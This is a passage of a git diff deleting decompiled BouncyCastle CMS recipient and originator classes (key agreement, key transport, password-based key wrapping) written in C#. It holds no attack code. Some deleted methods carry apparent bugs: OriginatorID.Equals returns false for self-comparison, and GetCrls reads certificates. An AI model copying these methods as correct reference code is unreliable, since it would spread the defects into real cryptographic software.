recipientID.SerialNumber = issuerAndSerialNumber.SerialNumber.Value; - } - else - { - RecipientKeyIdentifier rKeyID = identifier.RKeyID; - recipientID.SubjectKeyIdentifier = rKeyID.SubjectKeyIdentifier.GetOctets(); - } - infos.Add(new KeyAgreeRecipientInformation(info, recipientID, instance.EncryptedKey, secureReadable)); - } - } - catch (IOException innerException) - { - throw new ArgumentException("invalid rid in KeyAgreeRecipientInformation", innerException); - } - } - - internal KeyAgreeRecipientInformation(KeyAgreeRecipientInfo info, RecipientID rid, Asn1OctetString encryptedKey, CmsSecureReadable secureReadable) - : base(info.KeyEncryptionAlgorithm, secureReadable) - { - this.info = info; - base.rid = rid; - this.encryptedKey = encryptedKey; - } - - private AsymmetricKeyParameter GetSenderPublicKey(AsymmetricKeyParameter receiverPrivateKey, OriginatorIdentifierOrKey originator) - { - OriginatorPublicKey originatorPublicKey = originator.OriginatorPublicKey; - if (originatorPublicKey != null) - { - return GetPublicKeyFromOriginatorPublicKey(receiverPrivateKey, originatorPublicKey); - } - OriginatorID originatorID = new OriginatorID(); - Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber issuerAndSerialNumber = originator.IssuerAndSerialNumber; - if (issuerAndSerialNumber != null) - { - originatorID.Issuer = issuerAndSerialNumber.Name; - originatorID.SerialNumber = issuerAndSerialNumber.SerialNumber.Value; - } - else - { - SubjectKeyIdentifier subjectKeyIdentifier = originator.SubjectKeyIdentifier; - originatorID.SubjectKeyIdentifier = subjectKeyIdentifier.GetKeyIdentifier(); - } - return GetPublicKeyFromOriginatorID(originatorID); - } - - private AsymmetricKeyParameter GetPublicKeyFromOriginatorPublicKey(AsymmetricKeyParameter receiverPrivateKey, OriginatorPublicKey originatorPublicKey) - { - PrivateKeyInfo privateKeyInfo = PrivateKeyInfoFactory.CreatePrivateKeyInfo(receiverPrivateKey); - SubjectPublicKeyInfo keyInfo = new SubjectPublicKeyInfo(privateKeyInfo.PrivateKeyAlgorithm, originatorPublicKey.PublicKey.GetBytes()); - return PublicKeyFactory.CreateKey(keyInfo); - } - - private AsymmetricKeyParameter GetPublicKeyFromOriginatorID(OriginatorID origID) - { - throw new CmsException("No support for 'originator' as IssuerAndSerialNumber or SubjectKeyIdentifier"); - } - - private KeyParameter CalculateAgreedWrapKey(string wrapAlg, AsymmetricKeyParameter senderPublicKey, AsymmetricKeyParameter receiverPrivateKey) - { - DerObjectIdentifier algorithm = keyEncAlg.Algorithm; - ICipherParameters cipherParameters = senderPublicKey; - ICipherParameters cipherParameters2 = receiverPrivateKey; - if (algorithm.Id.Equals(CmsEnvelopedGenerator.ECMqvSha1Kdf)) - { - byte[] octets = info.UserKeyingMaterial.GetOctets(); - MQVuserKeyingMaterial instance = MQVuserKeyingMaterial.GetInstance(Asn1Object.FromByteArray(octets)); - AsymmetricKeyParameter publicKeyFromOriginatorPublicKey = GetPublicKeyFromOriginatorPublicKey(receiverPrivateKey, instance.EphemeralPublicKey); - cipherParameters = new MqvPublicParameters((ECPublicKeyParameters)cipherParameters, (ECPublicKeyParameters)publicKeyFromOriginatorPublicKey); - cipherParameters2 = new MqvPrivateParameters((ECPrivateKeyParameters)cipherParameters2, (ECPrivateKeyParameters)cipherParameters2); - } - IBasicAgreement basicAgreementWithKdf = AgreementUtilities.GetBasicAgreementWithKdf(algorithm, wrapAlg); - basicAgreementWithKdf.Init(cipherParameters2); - BigInteger s = basicAgreementWithKdf.CalculateAgreement(cipherParameters); - int qLength = GeneratorUtilities.GetDefaultKeySize(wrapAlg) / 8; - byte[] keyBytes = X9IntegerConverter.IntegerToBytes(s, qLength); - return ParameterUtilities.CreateKeyParameter(wrapAlg, keyBytes); - } - - private KeyParameter UnwrapSessionKey(string wrapAlg, KeyParameter agreedKey) - { - byte[] octets = encryptedKey.GetOctets(); - IWrapper wrapper = WrapperUtilities.GetWrapper(wrapAlg); - wrapper.Init(forWrapping: false, agreedKey); - byte[] keyBytes = wrapper.Unwrap(octets, 0, octets.Length); - return ParameterUtilities.CreateKeyParameter(GetContentAlgorithmName(), keyBytes); - } - - internal KeyParameter GetSessionKey(AsymmetricKeyParameter receiverPrivateKey) - { - try - { - string id = DerObjectIdentifier.GetInstance(Asn1Sequence.GetInstance(keyEncAlg.Parameters)[0]).Id; - AsymmetricKeyParameter senderPublicKey = GetSenderPublicKey(receiverPrivateKey, info.Originator); - KeyParameter agreedKey = CalculateAgreedWrapKey(id, senderPublicKey, receiverPrivateKey); - return UnwrapSessionKey(id, agreedKey); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (Exception e3) - { - throw new CmsException("originator key invalid.", e3); - } - } - - public override CmsTypedStream GetContentStream(ICipherParameters key) - { - if (!(key is AsymmetricKeyParameter)) - { - throw new ArgumentException("KeyAgreement requires asymmetric key", "key"); - } - AsymmetricKeyParameter asymmetricKeyParameter = (AsymmetricKeyParameter)key; - if (!asymmetricKeyParameter.IsPrivate) - { - throw new ArgumentException("Expected private key", "key"); - } - KeyParameter sessionKey = GetSessionKey(asymmetricKeyParameter); - return GetContentFromSessionKey(sessionKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInfoGenerator.cs deleted file mode 100644 index ff2be40..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInfoGenerator.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class KeyTransRecipientInfoGenerator : RecipientInfoGenerator -{ - private static readonly CmsEnvelopedHelper Helper = CmsEnvelopedHelper.Instance; - - private TbsCertificateStructure recipientTbsCert; - - private AsymmetricKeyParameter recipientPublicKey; - - private Asn1OctetString subjectKeyIdentifier; - - private SubjectPublicKeyInfo info; - - private IssuerAndSerialNumber issuerAndSerialNumber; - - private SecureRandom random; - - internal X509Certificate RecipientCert - { - set - { - recipientTbsCert = CmsUtilities.GetTbsCertificateStructure(value); - recipientPublicKey = value.GetPublicKey(); - info = recipientTbsCert.SubjectPublicKeyInfo; - } - } - - internal AsymmetricKeyParameter RecipientPublicKey - { - set - { - recipientPublicKey = value; - try - { - info = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(recipientPublicKey); - } - catch (IOException) - { - throw new ArgumentException("can't extract key algorithm from this key"); - } - } - } - - internal Asn1OctetString SubjectKeyIdentifier - { - set - { - subjectKeyIdentifier = value; - } - } - - protected virtual AlgorithmIdentifier AlgorithmDetails => info.AlgorithmID; - - internal KeyTransRecipientInfoGenerator() - { - } - - protected KeyTransRecipientInfoGenerator(IssuerAndSerialNumber issuerAndSerialNumber) - { - this.issuerAndSerialNumber = issuerAndSerialNumber; - } - - protected KeyTransRecipientInfoGenerator(byte[] subjectKeyIdentifier) - { - this.subjectKeyIdentifier = new DerOctetString(subjectKeyIdentifier); - } - - public RecipientInfo Generate(KeyParameter contentEncryptionKey, SecureRandom random) - { - AlgorithmIdentifier algorithmDetails = AlgorithmDetails; - this.random = random; - byte[] str = GenerateWrappedKey(contentEncryptionKey); - RecipientIdentifier rid; - if (recipientTbsCert != null) - { - IssuerAndSerialNumber id = new IssuerAndSerialNumber(recipientTbsCert.Issuer, recipientTbsCert.SerialNumber.Value); - rid = new RecipientIdentifier(id); - } - else - { - rid = new RecipientIdentifier(subjectKeyIdentifier); - } - return new RecipientInfo(new KeyTransRecipientInfo(rid, algorithmDetails, new DerOctetString(str))); - } - - protected virtual byte[] GenerateWrappedKey(KeyParameter contentEncryptionKey) - { - byte[] key = contentEncryptionKey.GetKey(); - AlgorithmIdentifier algorithmID = info.AlgorithmID; - IWrapper wrapper = Helper.CreateWrapper(algorithmID.Algorithm.Id); - wrapper.Init(forWrapping: true, new ParametersWithRandom(recipientPublicKey, random)); - return wrapper.Wrap(key, 0, key.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInformation.cs deleted file mode 100644 index cec942a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/KeyTransRecipientInformation.cs +++ /dev/null @@ -1,91 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public class KeyTransRecipientInformation : RecipientInformation -{ - private KeyTransRecipientInfo info; - - internal KeyTransRecipientInformation(KeyTransRecipientInfo info, CmsSecureReadable secureReadable) - : base(info.KeyEncryptionAlgorithm, secureReadable) - { - this.info = info; - rid = new RecipientID(); - RecipientIdentifier recipientIdentifier = info.RecipientIdentifier; - try - { - if (recipientIdentifier.IsTagged) - { - Asn1OctetString instance = Asn1OctetString.GetInstance(recipientIdentifier.ID); - rid.SubjectKeyIdentifier = instance.GetOctets(); - } - else - { - Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber instance2 = Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber.GetInstance(recipientIdentifier.ID); - rid.Issuer = instance2.Name; - rid.SerialNumber = instance2.SerialNumber.Value; - } - } - catch (IOException) - { - throw new ArgumentException("invalid rid in KeyTransRecipientInformation"); - } - } - - private string GetExchangeEncryptionAlgorithmName(AlgorithmIdentifier algo) - { - DerObjectIdentifier algorithm = algo.Algorithm; - if (PkcsObjectIdentifiers.RsaEncryption.Equals(algorithm)) - { - return "RSA//PKCS1Padding"; - } - if (PkcsObjectIdentifiers.IdRsaesOaep.Equals(algorithm)) - { - RsaesOaepParameters instance = RsaesOaepParameters.GetInstance(algo.Parameters); - return "RSA//OAEPWITH" + DigestUtilities.GetAlgorithmName(instance.HashAlgorithm.Algorithm) + "ANDMGF1Padding"; - } - return algorithm.Id; - } - - internal KeyParameter UnwrapKey(ICipherParameters key) - { - byte[] octets = info.EncryptedKey.GetOctets(); - string exchangeEncryptionAlgorithmName = GetExchangeEncryptionAlgorithmName(keyEncAlg); - try - { - IWrapper wrapper = WrapperUtilities.GetWrapper(exchangeEncryptionAlgorithmName); - wrapper.Init(forWrapping: false, key); - return ParameterUtilities.CreateKeyParameter(GetContentAlgorithmName(), wrapper.Unwrap(octets, 0, octets.Length)); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - catch (DataLengthException e3) - { - throw new CmsException("illegal blocksize in message.", e3); - } - catch (InvalidCipherTextException e4) - { - throw new CmsException("bad padding in message.", e4); - } - } - - public override CmsTypedStream GetContentStream(ICipherParameters key) - { - KeyParameter sKey = UnwrapKey(key); - return GetContentFromSessionKey(sKey); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorID.cs deleted file mode 100644 index e5b4afe..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorID.cs +++ /dev/null @@ -1,42 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class OriginatorID : X509CertStoreSelector -{ - public override int GetHashCode() - { - int num = Arrays.GetHashCode(base.SubjectKeyIdentifier); - BigInteger bigInteger = base.SerialNumber; - if (bigInteger != null) - { - num ^= bigInteger.GetHashCode(); - } - X509Name x509Name = base.Issuer; - if (x509Name != null) - { - num ^= x509Name.GetHashCode(); - } - return num; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return false; - } - if (!(obj is OriginatorID originatorID)) - { - return false; - } - if (Arrays.AreEqual(base.SubjectKeyIdentifier, originatorID.SubjectKeyIdentifier) && object.Equals(base.SerialNumber, originatorID.SerialNumber)) - { - return X509CertStoreSelector.IssuersMatch(base.Issuer, originatorID.Issuer); - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInfoGenerator.cs deleted file mode 100644 index b23614d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInfoGenerator.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class OriginatorInfoGenerator -{ - private readonly IList origCerts; - - private readonly IList origCrls; - - public OriginatorInfoGenerator(X509Certificate origCert) - { - origCerts = Platform.CreateArrayList(1); - origCrls = null; - origCerts.Add(origCert.CertificateStructure); - } - - public OriginatorInfoGenerator(IX509Store origCerts) - : this(origCerts, null) - { - } - - public OriginatorInfoGenerator(IX509Store origCerts, IX509Store origCrls) - { - this.origCerts = CmsUtilities.GetCertificatesFromStore(origCerts); - this.origCrls = ((origCrls == null) ? null : CmsUtilities.GetCrlsFromStore(origCrls)); - } - - public virtual OriginatorInfo Generate() - { - Asn1Set certs = CmsUtilities.CreateDerSetFromList(origCerts); - Asn1Set crls = ((origCrls == null) ? null : CmsUtilities.CreateDerSetFromList(origCrls)); - return new OriginatorInfo(certs, crls); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInformation.cs deleted file mode 100644 index f2b4754..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/OriginatorInformation.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class OriginatorInformation -{ - private readonly OriginatorInfo originatorInfo; - - internal OriginatorInformation(OriginatorInfo originatorInfo) - { - this.originatorInfo = originatorInfo; - } - - public virtual IX509Store GetCertificates() - { - Asn1Set certificates = originatorInfo.Certificates; - if (certificates != null) - { - IList list = Platform.CreateArrayList(certificates.Count); - foreach (Asn1Encodable item in certificates) - { - Asn1Object asn1Object = item.ToAsn1Object(); - if (asn1Object is Asn1Sequence) - { - list.Add(new X509Certificate(X509CertificateStructure.GetInstance(asn1Object))); - } - } - return X509StoreFactory.Create("Certificate/Collection", new X509CollectionStoreParameters(list)); - } - return X509StoreFactory.Create("Certificate/Collection", new X509CollectionStoreParameters(Platform.CreateArrayList())); - } - - public virtual IX509Store GetCrls() - { - Asn1Set certificates = originatorInfo.Certificates; - if (certificates != null) - { - IList list = Platform.CreateArrayList(certificates.Count); - foreach (Asn1Encodable item in certificates) - { - Asn1Object asn1Object = item.ToAsn1Object(); - if (asn1Object is Asn1Sequence) - { - list.Add(new X509Crl(CertificateList.GetInstance(asn1Object))); - } - } - return X509StoreFactory.Create("CRL/Collection", new X509CollectionStoreParameters(list)); - } - return X509StoreFactory.Create("CRL/Collection", new X509CollectionStoreParameters(Platform.CreateArrayList())); - } - - public virtual OriginatorInfo ToAsn1Structure() - { - return originatorInfo; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInfoGenerator.cs deleted file mode 100644 index e85e19c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInfoGenerator.cs +++ /dev/null @@ -1,65 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -internal class PasswordRecipientInfoGenerator : RecipientInfoGenerator -{ - private static readonly CmsEnvelopedHelper Helper = CmsEnvelopedHelper.Instance; - - private AlgorithmIdentifier keyDerivationAlgorithm; - - private KeyParameter keyEncryptionKey; - - private string keyEncryptionKeyOID; - - internal AlgorithmIdentifier KeyDerivationAlgorithm - { - set - { - keyDerivationAlgorithm = value; - } - } - - internal KeyParameter KeyEncryptionKey - { - set - { - keyEncryptionKey = value; - } - } - - internal string KeyEncryptionKeyOID - { - set - { - keyEncryptionKeyOID = value; - } - } - - internal PasswordRecipientInfoGenerator() - { - } - - public RecipientInfo Generate(KeyParameter contentEncryptionKey, SecureRandom random) - { - byte[] key = contentEncryptionKey.GetKey(); - string rfc3211WrapperName = Helper.GetRfc3211WrapperName(keyEncryptionKeyOID); - IWrapper wrapper = Helper.CreateWrapper(rfc3211WrapperName); - int num = (Platform.StartsWith(rfc3211WrapperName, "DESEDE") ? 8 : 16); - byte[] array = new byte[num]; - random.NextBytes(array); - ICipherParameters parameters = new ParametersWithIV(keyEncryptionKey, array); - wrapper.Init(forWrapping: true, new ParametersWithRandom(parameters, random)); - Asn1OctetString encryptedKey = new DerOctetString(wrapper.Wrap(key, 0, key.Length)); - DerSequence parameters2 = new DerSequence(new DerObjectIdentifier(keyEncryptionKeyOID), new DerOctetString(array)); - AlgorithmIdentifier keyEncryptionAlgorithm = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdAlgPwriKek, parameters2); - return new RecipientInfo(new PasswordRecipientInfo(keyDerivationAlgorithm, keyEncryptionAlgorithm, encryptedKey)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInformation.cs deleted file mode 100644 index c8d5131..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/PasswordRecipientInformation.cs +++ /dev/null @@ -1,49 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public class PasswordRecipientInformation : RecipientInformation -{ - private readonly PasswordRecipientInfo info; - - public virtual AlgorithmIdentifier KeyDerivationAlgorithm => info.KeyDerivationAlgorithm; - - internal PasswordRecipientInformation(PasswordRecipientInfo info, CmsSecureReadable secureReadable) - : base(info.KeyEncryptionAlgorithm, secureReadable) - { - this.info = info; - rid = new RecipientID(); - } - - public override CmsTypedStream GetContentStream(ICipherParameters key) - { - try - { - AlgorithmIdentifier instance = AlgorithmIdentifier.GetInstance(info.KeyEncryptionAlgorithm); - Asn1Sequence asn1Sequence = (Asn1Sequence)instance.Parameters; - byte[] octets = info.EncryptedKey.GetOctets(); - string id = DerObjectIdentifier.GetInstance(asn1Sequence[0]).Id; - string rfc3211WrapperName = CmsEnvelopedHelper.Instance.GetRfc3211WrapperName(id); - IWrapper wrapper = WrapperUtilities.GetWrapper(rfc3211WrapperName); - byte[] octets2 = Asn1OctetString.GetInstance(asn1Sequence[1]).GetOctets(); - ICipherParameters encoded = ((CmsPbeKey)key).GetEncoded(id); - encoded = new ParametersWithIV(encoded, octets2); - wrapper.Init(forWrapping: false, encoded); - KeyParameter sKey = ParameterUtilities.CreateKeyParameter(GetContentAlgorithmName(), wrapper.Unwrap(octets, 0, octets.Length)); - return GetContentFromSessionKey(sKey); - } - catch (SecurityUtilityException e) - { - throw new CmsException("couldn't create cipher.", e); - } - catch (InvalidKeyException e2) - { - throw new CmsException("key invalid in message.", e2); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2PbeKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2PbeKey.cs deleted file mode 100644 index 1505b93..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2PbeKey.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Cms; - -public class Pkcs5Scheme2PbeKey : CmsPbeKey -{ - [Obsolete("Use version taking 'char[]' instead")] - public Pkcs5Scheme2PbeKey(string password, byte[] salt, int iterationCount) - : this(password.ToCharArray(), salt, iterationCount) - { - } - - [Obsolete("Use version taking 'char[]' instead")] - public Pkcs5Scheme2PbeKey(string password, AlgorithmIdentifier keyDerivationAlgorithm) - : this(password.ToCharArray(), keyDerivationAlgorithm) - { - } - - public Pkcs5Scheme2PbeKey(char[] password, byte[] salt, int iterationCount) - : base(password, salt, iterationCount) - { - } - - public Pkcs5Scheme2PbeKey(char[] password, AlgorithmIdentifier keyDerivationAlgorithm) - : base(password, keyDerivationAlgorithm) - { - } - - internal override KeyParameter GetEncoded(string algorithmOid) - { - Pkcs5S2ParametersGenerator pkcs5S2ParametersGenerator = new Pkcs5S2ParametersGenerator(); - pkcs5S2ParametersGenerator.Init(PbeParametersGenerator.Pkcs5PasswordToBytes(password), salt, iterationCount); - return (KeyParameter)pkcs5S2ParametersGenerator.GenerateDerivedParameters(algorithmOid, CmsEnvelopedHelper.Instance.GetKeySize(algorithmOid)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2Utf8PbeKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2Utf8PbeKey.cs deleted file mode 100644 index 81b02e6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/Pkcs5Scheme2Utf8PbeKey.cs +++ /dev/null @@ -1,39 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Cms; - -public class Pkcs5Scheme2Utf8PbeKey : CmsPbeKey -{ - [Obsolete("Use version taking 'char[]' instead")] - public Pkcs5Scheme2Utf8PbeKey(string password, byte[] salt, int iterationCount) - : this(password.ToCharArray(), salt, iterationCount) - { - } - - [Obsolete("Use version taking 'char[]' instead")] - public Pkcs5Scheme2Utf8PbeKey(string password, AlgorithmIdentifier keyDerivationAlgorithm) - : this(password.ToCharArray(), keyDerivationAlgorithm) - { - } - - public Pkcs5Scheme2Utf8PbeKey(char[] password, byte[] salt, int iterationCount) - : base(password, salt, iterationCount) - { - } - - public Pkcs5Scheme2Utf8PbeKey(char[] password, AlgorithmIdentifier keyDerivationAlgorithm) - : base(password, keyDerivationAlgorithm) - { - } - - internal override KeyParameter GetEncoded(string algorithmOid) - { - Pkcs5S2ParametersGenerator pkcs5S2ParametersGenerator = new Pkcs5S2ParametersGenerator(); - pkcs5S2ParametersGenerator.Init(PbeParametersGenerator.Pkcs5PasswordToUtf8Bytes(password), salt, iterationCount); - return (KeyParameter)pkcs5S2ParametersGenerator.GenerateDerivedParameters(algorithmOid, CmsEnvelopedHelper.Instance.GetKeySize(algorithmOid)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientID.cs deleted file mode 100644 index b4558b8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientID.cs +++ /dev/null @@ -1,56 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class RecipientID : X509CertStoreSelector -{ - private byte[] keyIdentifier; - - public byte[] KeyIdentifier - { - get - { - return Arrays.Clone(keyIdentifier); - } - set - { - keyIdentifier = Arrays.Clone(value); - } - } - - public override int GetHashCode() - { - int num = Arrays.GetHashCode(keyIdentifier) ^ Arrays.GetHashCode(base.SubjectKeyIdentifier); - BigInteger bigInteger = base.SerialNumber; - if (bigInteger != null) - { - num ^= bigInteger.GetHashCode(); - } - X509Name x509Name = base.Issuer; - if (x509Name != null) - { - num ^= x509Name.GetHashCode(); - } - return num; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is RecipientID recipientID)) - { - return false; - } - if (Arrays.AreEqual(keyIdentifier, recipientID.keyIdentifier) && Arrays.AreEqual(base.SubjectKeyIdentifier, recipientID.SubjectKeyIdentifier) && object.Equals(base.SerialNumber, recipientID.SerialNumber)) - { - return X509CertStoreSelector.IssuersMatch(base.Issuer, recipientID.Issuer); - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInfoGenerator.cs deleted file mode 100644 index eb1e28c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInfoGenerator.cs +++ /dev/null @@ -1,10 +0,0 @@ -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Cms; - -public interface RecipientInfoGenerator -{ - RecipientInfo Generate(KeyParameter contentEncryptionKey, SecureRandom random); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformation.cs deleted file mode 100644 index c0a0638..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformation.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public abstract class RecipientInformation -{ - internal RecipientID rid = new RecipientID(); - - internal AlgorithmIdentifier keyEncAlg; - - internal CmsSecureReadable secureReadable; - - private byte[] resultMac; - - public RecipientID RecipientID => rid; - - public AlgorithmIdentifier KeyEncryptionAlgorithmID => keyEncAlg; - - public string KeyEncryptionAlgOid => keyEncAlg.Algorithm.Id; - - public Asn1Object KeyEncryptionAlgParams => keyEncAlg.Parameters?.ToAsn1Object(); - - internal RecipientInformation(AlgorithmIdentifier keyEncAlg, CmsSecureReadable secureReadable) - { - this.keyEncAlg = keyEncAlg; - this.secureReadable = secureReadable; - } - - internal string GetContentAlgorithmName() - { - AlgorithmIdentifier algorithm = secureReadable.Algorithm; - return algorithm.Algorithm.Id; - } - - internal CmsTypedStream GetContentFromSessionKey(KeyParameter sKey) - { - CmsReadable readable = secureReadable.GetReadable(sKey); - try - { - return new CmsTypedStream(readable.GetInputStream()); - } - catch (IOException e) - { - throw new CmsException("error getting .", e); - } - } - - public byte[] GetContent(ICipherParameters key) - { - try - { - return CmsUtilities.StreamToByteArray(GetContentStream(key).ContentStream); - } - catch (IOException ex) - { - throw new Exception("unable to parse internal stream: " + ex); - } - } - - public byte[] GetMac() - { - if (resultMac == null) - { - object cryptoObject = secureReadable.CryptoObject; - if (cryptoObject is IMac) - { - resultMac = MacUtilities.DoFinal((IMac)cryptoObject); - } - } - return Arrays.Clone(resultMac); - } - - public abstract CmsTypedStream GetContentStream(ICipherParameters key); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformationStore.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformationStore.cs deleted file mode 100644 index cd58e02..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/RecipientInformationStore.cs +++ /dev/null @@ -1,55 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class RecipientInformationStore -{ - private readonly IList all; - - private readonly IDictionary table = Platform.CreateHashtable(); - - public RecipientInformation this[RecipientID selector] => GetFirstRecipient(selector); - - public int Count => all.Count; - - public RecipientInformationStore(ICollection recipientInfos) - { - foreach (RecipientInformation recipientInfo in recipientInfos) - { - RecipientID recipientID = recipientInfo.RecipientID; - IList list = (IList)table[recipientID]; - if (list == null) - { - list = (IList)(table[recipientID] = Platform.CreateArrayList(1)); - } - list.Add(recipientInfo); - } - all = Platform.CreateArrayList(recipientInfos); - } - - public 